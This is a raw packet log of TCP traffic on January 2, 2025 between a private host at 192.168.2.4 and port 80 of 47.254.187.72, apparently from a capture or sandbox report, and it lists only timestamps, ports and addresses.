Jan 2, 2025 20:34:58.451153994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.456319094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456331015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456342936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456356049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456363916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.456367970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456378937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456388950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.456391096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.456428051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477579117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477602959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477615118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477626085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477633953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477638006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477664948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477686882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477698088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477705002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477715969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477725983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477729082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477737904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477742910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477777958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477812052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477823973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477837086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477847099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477850914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477858067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477871895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.477888107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.477920055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.489417076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489463091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.489500046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489511013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489522934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489533901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489537954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.489545107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489556074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489558935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.489563942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.489587069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.489619970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498342037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498363972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498389006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498410940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498421907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498421907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498434067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498442888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498445034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498466969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498506069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498574972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498586893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498598099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.498617887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.498644114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.500550032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500561953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500572920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500585079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500590086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.500597000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500622988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.500642061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.500642061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500653982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500665903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.500679016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.500695944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.501291037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501308918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501321077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501331091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501332045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.501342058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501349926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.501359940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501363039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.501372099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501382113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.501396894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.501424074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.502255917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502299070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.502346992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502357006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502370119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502381086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502391100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502398014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.502403021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502414942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.502419949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.502444983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.502461910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519083977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519098043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519109011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519134998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519153118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519165039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519181967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519196033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519201994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519207001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519218922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519228935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519228935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519241095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519257069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519287109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519298077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519309044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519310951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519325972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519325972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519336939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519350052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519372940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519376993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519383907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519395113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519407034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519434929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519489050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519500017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519511938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519526958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519527912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519539118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519552946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519582033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.519967079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.519978046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520009995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.520021915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.520126104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520138979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520149946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520162106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520162106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.520174980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520184040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.520186901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.520214081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.520226955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.527143002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527162075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527173996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527184010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527195930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.527196884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527208090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527216911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.527220011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527231932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.527251005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.527280092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.530420065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530467033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.530498028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530509949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530520916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530533075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530536890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.530544043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530555010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.530559063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.530597925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.535480976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535492897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535505056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535515070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535525084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.535531998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535543919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535545111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.535556078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535567999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.535583973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.535608053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.537822962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537834883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537847996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537867069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537869930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.537878990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537893057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537893057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.537904024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.537934065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.537945986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.542924881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.542973995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.542996883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543006897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543026924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543039083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543046951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.543050051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543061972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543076992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.543077946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.543092012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.543123960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564512014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564527035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564538002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564579010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564615965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564626932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564632893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564636946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564647913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564659119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564666033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564668894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564681053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564691067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564702034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564707041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564713001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564723969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564723969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.564753056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.564771891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576112032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576129913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576153994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576174974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576189995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576230049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576231003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576241970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576267004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576282024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576288939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576304913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576316118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.576332092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.576350927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.585201979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585211992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585227966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585238934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585247993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585252047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.585259914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585268021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585283995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585295916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585298061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.585304022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.585321903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.585344076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.587196112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587219000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587228060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587261915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.587275028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587285995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587297916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587299109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.587316990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587327003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587328911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.587337971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.587362051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.587382078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.588009119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588020086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588031054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588052988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.588082075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.588558912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588572025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588582993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588593006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588599920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.588603973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.588628054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.588676929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.589047909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589065075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589077950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589087009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.589109898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.589112043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589124918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589160919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589171886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.589173079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589185953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589194059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.589195013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.589225054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.589248896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.605837107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605881929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.605892897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605904102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605915070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605933905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605936050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.605945110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605957031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605973959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.605978966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606004953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606009007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606015921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606025934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606035948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606053114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606060982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606070995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606070995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606081963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606092930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606093884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606101990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606126070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606153011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606173992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606213093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.606237888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606247902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606257915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606271982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606282949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.606283903 CET	49730	80	192.168.2.4	47.254.187.72
